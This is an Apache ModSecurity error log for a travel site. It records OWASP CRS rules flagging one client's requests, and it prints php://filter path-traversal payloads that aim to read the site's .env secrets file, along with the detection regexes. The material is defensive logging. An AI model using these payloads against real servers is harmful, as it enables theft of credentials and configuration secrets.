[Fri Jul 17 08:55:11.287956 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.288973 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.289122 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.289405 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8gQAAABA"]
[Fri Jul 17 08:55:11.289594 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYQAAAAU"]
[Fri Jul 17 08:55:11.290585 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYQAAAAU"]
[Fri Jul 17 08:55:11.290711 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.290959 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AYQAAAAU"]
[Fri Jul 17 08:55:11.293919 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=hJMCqofPYZzWRDkGsDroyXix81fFbNgCqTQIcHL87ynrrXeoozKysKYyvlh6h6SS7wtihRCNRrVZp8HnTE7DTcUTiuOtmHBnKSIKF3dIe1vP4GBlpbLroB8UL8qwke3Th2Qe-VXFqzHlFneo2tyxQmlIdiritiF__x-O_f49Z3Zd7Z70dLpcM7H3ZnRG0Lsvf1Or7rnRG1Y_ZIDWECBhVmtges2rXnmxRrN0ukWxaG-61Rt2mHFHL1YgpddudVKLpPtjrBl1juNys4cXnDCDCvP4&extra=O36LVO26FL356DYN66BWAXBNEACED75LE5WHMWEGC7ZTCUZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.293963 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.294009 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=hJMCqofPYZzWRDkGsDroyXix81fFbNgCqTQIcHL87ynrrXeoozKysKYyvlh6h6SS7wtihRCNRrVZp8HnTE7DTcUTiuOtmHBnKSIKF3dIe1vP4GBlpbLroB8UL8qwke3Th2Qe-VXFqzHlFneo2tyxQmlIdiritiF__x-O_f49Z3Zd7Z70dLpcM7H3ZnRG0Lsvf1Or7rnRG1Y_ZIDWECBhVmtges2rXnmxRrN0ukWxaG-61Rt2mHFHL1YgpddudVKLpPtjrBl1juNys4cXnDCDCvP4&extra=O36LVO26FL356DYN66BWAXBNEACED75LE5WHMWEGC7ZTCUZXHHNFMXMPJLN5P4NHN6O555G5R..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.294062 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&ts=xDlcC_yepALEO3EcU8cBOst_mHm4blPuL3FPZSgM-s2n_osYqobTLUckdot0JLykjOuhoWCaHgPn5t0y4MA0Z6cTp3oHpeUcwGpqphj1n0oIDOZwIQnpCVgSyhc2lz6cCHU2kH-yZ-7NHdjdInJpT1t-7pNA2N_kCgB0KKZTgIV90IRJ11nlK3aN8ylThaM0jXIN_SoSPJUW13umf2D8VL6LXXaJu-Zlu-dsVr0jIqIL3gNtEPKGjTF0OHbPdUqhWb8mHL1XhzgXYfuadFdP6Cb4&ref=PQNRQNSSYGJZIUGTCMFU4JW6RK4YYR66RL2XZW2C2J246P3LDOADSERQUJNZAG3PJKUEETWLDNAP7GJK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.294074 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&cb=hjmcqofpyzzwrdkgsdroyxix81ffbngcqtqichl87ynrrxeoozkyskyyvlh6h6ss7wtihrcnrrvzp8hnte7dtcutiuotmhbnksikf3die1vp4gblpblrob8ul8qwke3th2qe-vxfqzhlfneo2tyxqmlidiritif__x-o_f49z3zd7z70dlpcm7h3znrg0lsvf1or7rnrg1y_zidwecbhvmtges2rxnmxrrn0ukwxag-61rt2mhfhl1ygpddudvklpptjrbl1junys4cxndcdcvp4&extra=o36lvo26fl356dyn66bwaxbneaced75le5whmwegc7ztcuzxhhnfmxmpjln5p4nhn6o555g5r..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.294098 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.294104 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.294148 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.294152 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=xDlcC_yepALEO3EcU8cBOst_mHm4blPuL3FPZSgM-s2n_osYqobTLUckdot0JLykjOuhoWCaHgPn5t0y4MA0Z6cTp3oHpeUcwGpqphj1n0oIDOZwIQnpCVgSyhc2lz6cCHU2kH-yZ-7NHdjdInJpT1t-7pNA2N_kCgB0KKZTgIV90IRJ11nlK3aN8ylThaM0jXIN_SoSPJUW13umf2D8VL6LXXaJu-Zlu-dsVr0jIqIL3gNtEPKGjTF0OHbPdUqhWb8mHL1XhzgXYfuadFdP6Cb4&ref=PQNRQNSSYGJZIUGTCMFU4JW6RK4YYR66RL2XZW2C2J246P3LDOADSERQUJNZAG3PJKUEETWLDNAP7GJK6PMJLJAIM6WRZ743CS3OU36Z..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.294193 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=xdlcc_yepaleo3ecu8cbost_mhm4blpul3fpzsgm-s2n_osyqobtluckdot0jlykjouhowcahgpn5t0y4ma0z6ctp3ohpeucwgpqphj1n0oidozwiqnpcvgsyhc2lz6cchu2kh-yz-7nhdjdinjpt1t-7pna2n_kcgb0kkztgiv90irj11nlk3an8yltham0jxin_sospjuw13umf2d8vl6lxxaju-zlu-dsvr0jiqil3gntepkgjtf0ohbpduqhwb8mhl1xhzgxyfuadfdp6cb4&ref=pqnrqnssygjziugtcmfu4jw6rk4yyr66rl2xzw2c2j246p3ldoadserqujnzag3pjkueetwldnap7gjk6pmjljaim6wrz743cs3ou36z..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.294220 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.294246 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.294506 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.294589 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.295529 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.295545 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.295663 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.295663 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.295925 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBPwAAAAY"]
[Fri Jul 17 08:55:11.295928 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-LAAAABw"]
[Fri Jul 17 08:55:11.295999 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xAAAAAw"]
[Fri Jul 17 08:55:11.296977 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xAAAAAw"]
[Fri Jul 17 08:55:11.297084 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
